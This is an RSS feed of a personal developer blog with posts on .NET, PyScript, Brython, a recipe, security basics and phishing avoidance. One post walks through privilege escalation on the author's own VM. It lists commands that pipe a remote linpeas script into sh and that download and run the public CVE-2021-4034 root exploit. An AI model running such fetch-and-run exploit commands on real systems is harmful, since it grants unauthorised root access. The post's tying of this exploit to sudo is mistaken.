<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Mohamed Aruham]]></title><description><![CDATA[Learning, one post at a time]]></description><link>https://blog.aruham.dev/</link><image><url>https://blog.aruham.dev/favicon.png</url><title>Mohamed Aruham</title><link>https://blog.aruham.dev/</link></image><generator>Ghost 3.42</generator><lastBuildDate>Wed, 29 Apr 2026 01:04:40 GMT</lastBuildDate><atom:link href="https://blog.aruham.dev/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Slugging some URLs]]></title><description><![CDATA[Slug URLs in your .NET projects without a worry.]]></description><link>https://blog.aruham.dev/slugging-some-urls/</link><guid isPermaLink="false">66d5eba8e53f380b6a5c0a7f</guid><category><![CDATA[Tutorials]]></category><category><![CDATA[.NET]]></category><dc:creator><![CDATA[Mohamed Aruham]]></dc:creator><pubDate>Mon, 02 Sep 2024 16:49:04 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1509036658049-cb62f69f0140?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wxMTc3M3wwfDF8c2VhcmNofDF8fHNsdWd8ZW58MHx8fHwxNzI1Mjk1NjU2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1509036658049-cb62f69f0140?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=M3wxMTc3M3wwfDF8c2VhcmNofDF8fHNsdWd8ZW58MHx8fHwxNzI1Mjk1NjU2fDA&ixlib=rb-4.0.3&q=80&w=2000" alt="Slugging some URLs"><p>Hey long time no see! <br></p><p>Here is a URLSlugger for your .NET projects.</p><!--kg-card-begin: html--><script src="https://gist.github.com/phoenixatom/810dbc7626921402e93407080e81976b.js"></script><!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[When Alarm?]]></title><description><![CDATA[A webpage made with PyScript showing you when to alarm.]]></description><link>https://blog.aruham.dev/when-alarm/</link><guid isPermaLink="false">6275c613e53f380b6a5c0926</guid><category><![CDATA[Python]]></category><category><![CDATA[PyScript]]></category><dc:creator><![CDATA[Mohamed Aruham]]></dc:creator><pubDate>Sat, 07 May 2022 17:02:09 GMT</pubDate><media:content url="https://blog.aruham.dev/content/images/2022/05/WhenAlarmLogo--1200---628-px-.png" medium="image"/><content:encoded><![CDATA[<img src="https://blog.aruham.dev/content/images/2022/05/WhenAlarmLogo--1200---628-px-.png" alt="When Alarm?"><p>I could not sleep, so I decided to test out the newest toy in the market. PyScript! At a first glance, PyScript seems pretty easy to use, I would say easier than Brython even. Don't quote me on that though, I have not used either of the libraries extensively and I am commenting based on my limited knowledge and experience using both libraries. </p><p>After taking a quick glance at the documentation, I decided to make a small webpage with it. I use this website called <a href="https://sleepcalculator.com">Sleep Calculator</a> to calculate when to setup my alarm when sleeping. The logic behind the calculation is that an average human takes 15 minutes to sleep. And it is ideal to wake up in 90 minute sleep cycles. Also, a good night's sleep is considered 5-6 of these cycles. Pretty simple huh? </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2022/05/carbon--3-.png" class="kg-image" alt="When Alarm?" srcset="https://blog.aruham.dev/content/images/size/w600/2022/05/carbon--3-.png 600w, https://blog.aruham.dev/content/images/size/w1000/2022/05/carbon--3-.png 1000w, https://blog.aruham.dev/content/images/size/w1600/2022/05/carbon--3-.png 1600w, https://blog.aruham.dev/content/images/size/w2400/2022/05/carbon--3-.png 2400w" sizes="(min-width: 720px) 720px"><figcaption>PyScript code</figcaption></figure><p>The PyScript code behind the webpage is pretty simple and commented in above screenshot. Pyscript has a method called write which we can use to write into html elements such as p tags using their ids. </p><p>The html code for the webpage is pretty simple. The whole thing is in a container div with an h1 for the heading and the the results are loaded in p tags. The p tags have an id with a number in it to easily write data to it. The last line of the pyscript does this using an f-statement to add the iteration number. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2022/05/image-4.png" class="kg-image" alt="When Alarm?"><figcaption>Simple HTML Code</figcaption></figure><p>While making this, I faced two major issues. One is that PyScript takes some time to setup and load properly in the browser. Second is that the PyScript code was flickering on initial page load. To <em>"solve"</em> the first issue, the "loading" text was added to the web page. To solve the second issue, I just gave white color (the background color) to the PyScript element making it basically invisible. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2022/05/image-3.png" class="kg-image" alt="When Alarm?"><figcaption>style.css</figcaption></figure><p>Now this might be me not fully understanding PyScript and not including a required line of code or the more plausible explanation is that since the library is still in alpha release, it is not fully optimized yet. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2022/05/image-5.png" class="kg-image" alt="When Alarm?" srcset="https://blog.aruham.dev/content/images/size/w600/2022/05/image-5.png 600w, https://blog.aruham.dev/content/images/size/w1000/2022/05/image-5.png 1000w, https://blog.aruham.dev/content/images/2022/05/image-5.png 1051w" sizes="(min-width: 720px) 720px"><figcaption>The webpage</figcaption></figure><p>The webpage when opened is as shown above. This is pretty simple looking and shown just for code explanation. The webpage was further modified with bootstrap and custom CSS to improve the UI. The final UI is show in below screenshot.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2022/05/image-6.png" class="kg-image" alt="When Alarm?" srcset="https://blog.aruham.dev/content/images/size/w600/2022/05/image-6.png 600w, https://blog.aruham.dev/content/images/size/w1000/2022/05/image-6.png 1000w, https://blog.aruham.dev/content/images/size/w1600/2022/05/image-6.png 1600w, https://blog.aruham.dev/content/images/2022/05/image-6.png 1915w" sizes="(min-width: 720px) 720px"><figcaption>https://alarm.aruham.dev</figcaption></figure><p>Source code for the project is published on <a href="https://github.com/phoenixatom/whenalarm">Github</a>. The webpage is hosted on <a href="https://alarm.aruham.dev">https://alarm.aruham.dev</a> (You should open it in a proper browser and not inside app browsers. Also, note that it is very slow for the Pyodide environment to setup and load on mobile browsers)</p><figure class="kg-card kg-bookmark-card kg-card-hascaption"><a class="kg-bookmark-container" href="https://github.com/phoenixatom/whenalarm/"><div class="kg-bookmark-content"><div class="kg-bookmark-title">GitHub - phoenixatom/whenalarm: When should you alarm for if you are planning to sleep right now? A webpage made with PyScript</div><div class="kg-bookmark-description">When should you alarm for if you are planning to sleep right now? A webpage made with PyScript - GitHub - phoenixatom/whenalarm: When should you alarm for if you are planning to sleep right now? A ...</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.githubassets.com/favicons/favicon.svg" alt="When Alarm?"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">phoenixatom</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/26085b7cac5519c71dfad13b4786deadab3585c59e782029ce69c0005fc0a7d2/phoenixatom/whenalarm" alt="When Alarm?"></div></a><figcaption>Github Repository</figcaption></figure><p>You can contact me via Telegram for any queries @phoneixatom. </p>]]></content:encoded></item><item><title><![CDATA[How I hacked myself]]></title><description><![CDATA[Pwned myself]]></description><link>https://blog.aruham.dev/how-i-hacked-myself/</link><guid isPermaLink="false">6214486f4d2e0911edda8c9f</guid><category><![CDATA[Blog]]></category><category><![CDATA[Penetration Testing]]></category><category><![CDATA[Privelege Escalation]]></category><dc:creator><![CDATA[Mohamed Aruham]]></dc:creator><pubDate>Tue, 22 Feb 2022 02:47:16 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1562813733-b31f71025d54?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDV8fGhhY2tlcnxlbnwwfHx8fDE2NDU0OTc2NTI&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1562813733-b31f71025d54?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDV8fGhhY2tlcnxlbnwwfHx8fDE2NDU0OTc2NTI&ixlib=rb-1.2.1&q=80&w=2000" alt="How I hacked myself"><p>This story begins with me wanting to do some pen-testing on my web application. Ideally, I like to use a Linux virtual machine for this. I do this either on my Kali VM or Garuda VM.  Recently, I ended up deleting the Kali while I was deleting some other VMs and I am left with only Garuda at the moment. </p><p>So, after spinning up my Garuda machine, I realize that I don't remember my user password at all. Now a sane person would just <code>chroot</code> and change the password. But I have been watching too much <a href="https://www.youtube.com/channel/UCVeW9qkBjo3zosnqUbG7CFw">John Hammond</a> to simply chroot. </p><p>Garuda comes with a guest user by default and I can login to that user without a password. So I simply login to this and poke around looking to see what I have access to. </p><p>If you are familiar with John Hammond videos, you probably know the next step. YES. We are going to enumerate some privilege escalation vectors. And we will be using the best tool obviously, <a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS">linpeas</a>. </p><p>A quick linpeas run showed me that the sudo version is vulnerable. That's when I remember about the sudo exploit. lol ggwp job done.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2022/02/image-1.png" class="kg-image" alt="How I hacked myself" srcset="https://blog.aruham.dev/content/images/size/w600/2022/02/image-1.png 600w, https://blog.aruham.dev/content/images/size/w1000/2022/02/image-1.png 1000w, https://blog.aruham.dev/content/images/2022/02/image-1.png 1458w" sizes="(min-width: 720px) 720px"><figcaption>Linpeas</figcaption></figure><p>Without wasting any time, I grab a copy of the exploit from <a href="https://github.com/berdav/CVE-2021-4034">Github</a> and boom we are root. Once root, I just do <code>passwd atom</code> to change my password. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2022/02/image-3.png" class="kg-image" alt="How I hacked myself" srcset="https://blog.aruham.dev/content/images/size/w600/2022/02/image-3.png 600w, https://blog.aruham.dev/content/images/size/w1000/2022/02/image-3.png 1000w, https://blog.aruham.dev/content/images/2022/02/image-3.png 1293w" sizes="(min-width: 720px) 720px"><figcaption>CVE-2021-4034 Exploit</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2022/02/image-2.png" class="kg-image" alt="How I hacked myself" srcset="https://blog.aruham.dev/content/images/size/w600/2022/02/image-2.png 600w, https://blog.aruham.dev/content/images/2022/02/image-2.png 668w"><figcaption>Zoomed into executing</figcaption></figure><p></p><p>And that is the story of how I hacked into my own machine. </p><p>Below is the list of commands mentioned in the post:<br>Install and run linpeas: <code>curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh</code><br>Get the exploit: <code>wget <a href="https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh">https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh</a></code><br>Make the exploit executable: <code>chmod +x <a href="https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh">cve-2021-4034.s</a>h</code><br>Run the exploit: <code>./<a href="https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh">cve-2021-4034.sh</a></code></p>]]></content:encoded></item><item><title><![CDATA[Seeding roles and admin user in ASP.NET Core]]></title><description><![CDATA[Seed them roles and users]]></description><link>https://blog.aruham.dev/aspdotnet-user-roles-seeder/</link><guid isPermaLink="false">61d1306e4d2e0911edda8c7c</guid><category><![CDATA[Tutorials]]></category><category><![CDATA[Asp.NET Core]]></category><dc:creator><![CDATA[Mohamed Aruham]]></dc:creator><pubDate>Sun, 02 Jan 2022 05:08:28 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1530836369250-ef72a3f5cda8?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDE4fHxzZWVkfGVufDB8fHx8MTY0MTA5OTk0NA&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1530836369250-ef72a3f5cda8?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDE4fHxzZWVkfGVufDB8fHx8MTY0MTA5OTk0NA&ixlib=rb-1.2.1&q=80&w=2000" alt="Seeding roles and admin user in ASP.NET Core"><p>Wrote this quick roles and admin seeder for later reference and easy setup in future projects. </p><!--kg-card-begin: html--><script src="https://gist.github.com/phoenixatom/7865947655224c613682017370255602.js"></script><!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Year in a Post (2021)]]></title><description><![CDATA[Another year of growth]]></description><link>https://blog.aruham.dev/year-in-a-post-2021/</link><guid isPermaLink="false">61cf00614d2e0911edda8bb8</guid><category><![CDATA[Year End]]></category><dc:creator><![CDATA[Mohamed Aruham]]></dc:creator><pubDate>Fri, 31 Dec 2021 14:26:19 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1585776245796-00bafcc7e91f?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDJ8fDIwMjF8ZW58MHx8fHwxNjQwOTU2MDY1&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1585776245796-00bafcc7e91f?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDJ8fDIwMjF8ZW58MHx8fHwxNjQwOTU2MDY1&ixlib=rb-1.2.1&q=80&w=2000" alt="Year in a Post (2021)"><p>Here comes the obligated year end post. I am writing this on an empty stomach, shivering with a cold and fever. So bear with me and my writing. </p><p>Starting with the beginning of the year, I was in Addu, my hometown. Due to COVID lockdowns and such not much was done other than studying. I completed my second year and started my internship as well. </p><p>I joined <a href="https://arcils.com/">Arcils </a>for my internship and the first part of it was remote as I was in Addu. I got to work on some major projects at the game studio and was able to learn more about game development as well. Some of my work includes, working on a student management system, an e-commerce website, ThakuruWars auth, Arcils website and security auditing of both game and internal APIs as well. At Arcils, I learned to work on a scrum based project management system with Jira. I was also tasked with coming up with my own solutions and manage whole projects as I see fit. This wasn't a completely new experience but it has been a few years and it was good to relearn the ASP.NET Core stack. </p><p>Immediately after my internship ended, I moved back to Malaysia to finish my third year at University. As the year ends, I have finished one semester and it has been both fun and exhausting. Writing research is becoming much more easier and natural.</p><p>Looking into Baivaru this year, we did not do much. However, we managed to introduce <a href="https://bmdb.baivaru.net/">BMDB</a>, a web app that further improves our Baivaru Media project. BMDB comes with machine learning capabilities and it can suggest media based on your favorites. The recommendation model is absolutely awesome. Shoutout to Ashraq, Naamee and everyone else who worked tirelessly to make it a reality. Other than that, there was some work done by Ashraq on Dhivehi ML, but the rest of us mostly worked on maintaining the existing bots and bug fixes. Let's just say we took a break this year to focus more on our personal growth. Next year, hopefully we have some exciting projects coming up!</p><p>As far as my blog goes, this was a pretty successful year as I wrote on some interesting topics and started on a series about cyber securities as well (a solemn promise to continue it as soon as I have some time). Athfan, Hammadh and I also worked on a <a href="https://t.me/Uploaded_Discussions">podcast</a>, which we later forgot to continue XD. During the year, Iyad, Athfan and I also got to talk about cyber security in a <a href="https://www.facebook.com/watch/live/?ref=watch_permalink&amp;v=886075542254667">forum </a>on Clubhouse. I have done a few certifications including Fortinet's Network Security, AWS Academy Cloud Architeching and Microsoft Azure Fundamentals. A more detailed list of my certifications are on my <a href="https://www.linkedin.com/in/mohamedaruham/">LinkedIn </a>profile.</p><p>This year would have been a complete disaster if not for that one person who always makes everything better. Thank you for the constant <a href="https://instagram.com/kulhi_boakibaaaaaaaaaaaa">inspiration</a>, motivation and being the best girlfriend ❤️. I am blessed to have you in my life.  </p><p>With university ending in a few months, 2022 is going to be a challenging year. But I am really looking forward to it. A huge shoutout to everyone who helped me out during the year and tough times. Hope everyone has a good 2022!</p>]]></content:encoded></item><item><title><![CDATA[Cyber Security - An Introduction]]></title><description><![CDATA[Cyber Security starts with you. ]]></description><link>https://blog.aruham.dev/cyber-security-1/</link><guid isPermaLink="false">6173c9a74d2e0911edda8b03</guid><category><![CDATA[Blog]]></category><category><![CDATA[Cyber Security]]></category><category><![CDATA[CS-Series]]></category><dc:creator><![CDATA[Mohamed Aruham]]></dc:creator><pubDate>Sat, 23 Oct 2021 11:25:50 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1614064642578-7faacdc6336e?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDIzfHxjeWJlciUyMHNlY3VyaXR5fGVufDB8fHx8MTYzNDk4MDExNA&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1614064642578-7faacdc6336e?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDIzfHxjeWJlciUyMHNlY3VyaXR5fGVufDB8fHx8MTYzNDk4MDExNA&ixlib=rb-1.2.1&q=80&w=2000" alt="Cyber Security - An Introduction"><p>Note: This is part 1 of a series of blog posts about cyber security. The main aim of this series is to provide information about cyber security that is easier to read and understandable for beginners and novice users. </p><h3 id="what-is-cyber-security">What is Cyber Security?</h3><p>Cyber Security is the process by which our cyberspace is protected against digital attacks. The cyberspace includes our personal data, private and public networks, hardware (devices) and software (applications). Digital attacks come in different types and include hardware theft, malware (infecting the system or network with malicious code), denial of service attacks, social engineering attacks and <a href="https://blog.aruham.dev/how-to-avoid-phishing-attacks/">phishing</a>. </p><h3 id="why-is-cyber-security-important">Why is Cyber Security Important?</h3><p>Once you understand what cyber security is, it is quite easy to understand how important it is to the evolving world of cyberspace. Everything from personal identification information to nuclear missile launch codes are now in our cyberspace. Our whole life is uploaded as Instagram photos, YouTube videos, LinkedIn profiles, Facebook statuses to the world wide web. While these companies spend millions of dollars in cyber security every year, the end user (us), we are the most vulnerable. We have the most to lose from a cyber attack and we are also the most vulnerable to attacks from a hacker. </p><p>Hence, cyber security is something we should all be aware of, something all of us should be ready to fight for. </p><h3 id="cia-triad">CIA Triad</h3><p>When I say CIA Triad, I am not referring to the intelligence agency but the three major concepts or principles in cyber security. The letters stand for:<br>- Confidentiality,<br>- Integrity and<br>- Availability<br><br>These concepts ensure a secure, trustworthy and usable cyberspace. </p><p>Next in the series: <br>- More into CIA and what each of these represent. <br>- Why are these principles so important in cyberspace?<br>- All you need to know about passwords</p><p>P.S: Much love and shoutout to my <a href="https://instagram.com/kulhi_boakibaaaaaaaaaaaa">inspiring</a> girlfriend for motivating me to start this series. </p>]]></content:encoded></item><item><title><![CDATA[A Brython Countdown Timer]]></title><description><![CDATA[Counting down the seconds till I get my degree..]]></description><link>https://blog.aruham.dev/brython-countdown-timer/</link><guid isPermaLink="false">613e151e4d2e0911edda8a5a</guid><category><![CDATA[Python]]></category><category><![CDATA[Tutorials]]></category><dc:creator><![CDATA[Mohamed Aruham]]></dc:creator><pubDate>Sun, 12 Sep 2021 16:10:09 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1495364141860-b0d03eccd065?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDF8fGNvdW50ZG93bnxlbnwwfHx8fDE2MzE0NjIyOTU&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1495364141860-b0d03eccd065?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDF8fGNvdW50ZG93bnxlbnwwfHx8fDE2MzE0NjIyOTU&ixlib=rb-1.2.1&q=80&w=2000" alt="A Brython Countdown Timer"><p>On a Sunday evening, I was tired of doing my tutorials and wanted to take a break. My types of break include coding something stupid. This time I decided to make a countdown timer showing the seconds till I finish my degree. </p><p>A countdown timer is pretty easy to make, so why am I writing a post about it? Well, this one is not written in JavaScript and features a cool library. <strong>BRYTHON</strong></p><h3 id="what-is-brython">What is Brython?</h3><p>Brython (Browser Python) is an implementation of Python 3 running in the browser, with an interface to the DOM elements and events according to their <a href="https://github.com/brython-dev/brython">Github</a>. </p><h3 id="why-brython">Why Brython?</h3><p>Let me get it out there that I hate JavaScript (You will find the irony of this statement later in this article). With Brython I can use Python3 syntax and other useful features that can interact with DOM elements. Also, I wanted to try something new and easy to learn.</p><h3 id="coding-the-countdown-timer">Coding the countdown timer</h3><p>The main elements of the countdown timer will be in a simple html file. I have included a style.css to make it look beautiful and also a script.min.js to include some fancy animations (I still hate JS). </p><p>With Brython, I created a function that changes the text of a &lt;p&gt; tag element. The function uses the current date/time and finds the difference till the date I have set using the datetime library. It gets the result in seconds and convert it into an int to get a whole number. And then it replaces the text value in the &lt;p&gt; tag. </p><!--kg-card-begin: markdown--><pre><code>&lt;script type=&quot;text/python3&quot;&gt;
    import sys
    from browser import document as doc
    from browser import timer
    import datetime as dt

    def countdown():
        now = dt.datetime.now()
        end = dt.datetime(2022,4,20,23,59,59)
        difference = int((end-now).total_seconds())
        doc['countdown'].text = difference

    countdown()
    timer.set_interval(countdown, 500)
&lt;/script&gt;
</code></pre>
<!--kg-card-end: markdown--><p>Using Brython's inbuilt module timer, I set the function to run every 500ms. This changes the value of the text every 500ms allowing the timer to run without having to reload the page. </p><p>After all the components worked, I used Bootstrap 5, some custom css and Particle.js to make the timer page better. Shoutout to <a href="https://blog.athfan.com/">Athfan</a> for helping me choose colors, font and ideas for the overall design. </p><p>After 3 hours of my "break", I have now researched, written the countdown timer, made a Github repository, hosted the timer and finished writing this blog post. Below linked is the hosted countdown and the public repository for the project. Great break, back to grinding! </p><p>Hosted Versions: <a href="https://uni.aruham.dev/">Original Version</a>, <a href="https://uni.aruham.dev/low.html">Without Animation</a> (for low memory devices)</p><figure class="kg-card kg-bookmark-card kg-card-hascaption"><a class="kg-bookmark-container" href="https://github.com/phoenixatom/brython-countdown"><div class="kg-bookmark-content"><div class="kg-bookmark-title">GitHub - phoenixatom/brython-countdown: A countdown timer written in Brython</div><div class="kg-bookmark-description">A countdown timer written in Brython. Contribute to phoenixatom/brython-countdown development by creating an account on GitHub.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.githubassets.com/favicons/favicon.svg" alt="A Brython Countdown Timer"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">phoenixatom</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/b09c112f7287aec7a12244cd6ccf639a7008c3fe236dfea01938a78176fd7644/phoenixatom/brython-countdown" alt="A Brython Countdown Timer"></div></a><figcaption>Public Repository</figcaption></figure>]]></content:encoded></item><item><title><![CDATA[Rihaakuru Scrambled Eggs]]></title><description><![CDATA[From tech to rihaakuru, we are evolving.]]></description><link>https://blog.aruham.dev/rihaakuru-scrambled-eggs/</link><guid isPermaLink="false">6139db664d2e0911edda8a0a</guid><category><![CDATA[Recipe]]></category><dc:creator><![CDATA[Mohamed Aruham]]></dc:creator><pubDate>Thu, 09 Sep 2021 10:23:23 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1563690449029-d6e1b8d6003d?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDF8fHNjcmFtYmxlZCUyMGVnZ3N8ZW58MHx8fHwxNjMxMTgyNzMx&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1563690449029-d6e1b8d6003d?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDF8fHNjcmFtYmxlZCUyMGVnZ3N8ZW58MHx8fHwxNjMxMTgyNzMx&ixlib=rb-1.2.1&q=80&w=2000" alt="Rihaakuru Scrambled Eggs"><p>Note: The cover image does not represent actual recipe. </p><h3 id="why">Why?</h3><p>The better question is why not? Eggs? GOOD! Scrambled? GOOD! Rihakuru? EXCELLENT!</p><h3 id="ingredients">INGREDIENTS</h3><ol><li>2 Eggs</li><li>1 tablespoon Rihaakuru</li></ol><h3 id="how">HOW</h3><p>Crack the eggs into a mixing bowl and add a tablespoon of Rihaakuru. Whisk until the rihaakuru, egg whites and yolks are blended forming a beautiful creamy mixture.</p><p>Take out your nonstick pan and add some oil or butter. Heat up the pan on low/medium heat. Once the pan is heated up, add the egg mixture. Wait for 30 seconds or so and then start to move the eggs around. Swirl the mixture to make it beautiful and soft. A plastic spatula is recommended for the swirling. Do this for about 3 minutes (or however long you want). Remember not to overcook the eggs. </p><p>Okay now you have a beautiful Rihaakuru Scrambled Eggs that can be served with Chapati or bread or whatever you feel like eating it with. Enjoy! </p>]]></content:encoded></item><item><title><![CDATA[How to avoid Phishing Attacks]]></title><description><![CDATA[You are the fish, link is the bait and the attacker is the fisherman.]]></description><link>https://blog.aruham.dev/how-to-avoid-phishing-attacks/</link><guid isPermaLink="false">60c0cd9d4d2e0911edda8992</guid><category><![CDATA[Blog]]></category><category><![CDATA[Cyber Security]]></category><dc:creator><![CDATA[Mohamed Aruham]]></dc:creator><pubDate>Wed, 09 Jun 2021 14:52:45 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1533991310801-340302384c22?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDR8fGZpc2hpbmd8ZW58MHx8fHwxNjIzMjUwMTYw&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1533991310801-340302384c22?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDR8fGZpc2hpbmd8ZW58MHx8fHwxNjIzMjUwMTYw&ixlib=rb-1.2.1&q=80&w=2000" alt="How to avoid Phishing Attacks"><p>Since my Facebook feed is full of screenshots about a recent phishing attack, I am taking 15 minutes out of my busy schedule to explain what a phishing attack is and how to spot and avoid one. </p><h3 id="what-is-phishing">What is Phishing?</h3><p><strong>Phishing</strong> is a type of online scam where criminals impersonate legitimate organizations via email, text message, advertisement or other means in order to steal sensitive information. (<a href="https://www.webroot.com/us/en/resources/tips-articles/what-is-phishing">Webroot</a>). </p><h3 id="how-to-identify-phishing-attacks">How to identify Phishing attacks?</h3><p><strong>URL - </strong>Always make sure that the URL is readable, has no spelling mistakes and is actually the domain name for the website you are trying to visit. <br><strong>Example</strong>: When the message says it is a giveaway by Amazon, the link should be https://amazon.com/30-anniversary-giveaway or something similar. But if you spot something like https://adagafsdfhewf.co/sdaggq. As you can guess by easily reading the URL, the domain looks like gibberish and nothing to identify the actual service provider. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2021/06/image.png" class="kg-image" alt="How to avoid Phishing Attacks"><figcaption>Unreadable domain - Phishing site</figcaption></figure><p>Another trick used for phishing is using a similar spelling to the original website. Something like https://amzon.ml/giveaway. This can also be easily spotted by looking at the URL and seeing that the domain name is misspelled. You can also make sure there is a padlock in the URL. If you are a bit tech savvy, you can click the padlock icon on the URL and see if the website's SSL certificate was issued by a trusted Certificate Authority (CA).</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.aruham.dev/content/images/2021/06/image-1.png" class="kg-image" alt="How to avoid Phishing Attacks"><figcaption>Checking the certificate of the domain</figcaption></figure><p><strong>Google Safe Browsing Report - </strong>This is a service by Google that keeps track of unsafe sites and shows the legitimacy of websites. You might encounter a warning on your Google Chrome whilst visiting a website and this should be enough for you to click away. You can visit their <a href="https://transparencyreport.google.com/safe-browsing/search">website</a> to check up on a site as well. </p><p><strong>Google Search - </strong>A simple google search with the text in the phishing message can help you easily identify phishing attacks. </p><figure class="kg-card kg-image-card"><img src="https://blog.aruham.dev/content/images/2021/06/image-2.png" class="kg-image" alt="How to avoid Phishing Attacks" srcset="https://blog.aruham.dev/content/images/size/w600/2021/06/image-2.png 600w, https://blog.aruham.dev/content/images/2021/06/image-2.png 872w" sizes="(min-width: 720px) 720px"></figure><p><strong>Personal Information and Surveys - </strong>If the unknown website is asking for your banking details, prompting to log into your social accounts or asking you to complete surveys, click away as those are mostly phishing attacks. Never give out such details hoping to get money or gifts from some random link. If something seems too good to be true, it probably is.</p><p>If you are still suspicious (even a bit) after these steps, DO NOT USE the website. And DO NOT SHARE the website with others. Be skeptical! It's better to be safe than sorry. </p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://transparencyreport.google.com/safe-browsing/search"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Google Transparency Report</div><div class="kg-bookmark-description"></div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://www.google.com/favicon.ico?v1" alt="How to avoid Phishing Attacks"></div></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://urlscan.io/"><div class="kg-bookmark-content"><div class="kg-bookmark-title">URL and website scanner - urlscan.io</div><div class="kg-bookmark-description">urlscan.io - Website scanner for suspicious and malicious URLs</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://urlscan.io/img/urlscan_256.png" alt="How to avoid Phishing Attacks"><span class="kg-bookmark-author">urlscan.io urlscan.io</span><span class="kg-bookmark-publisher">urlscan.io</span></div></div><div class="kg-bookmark-thumbnail"><img 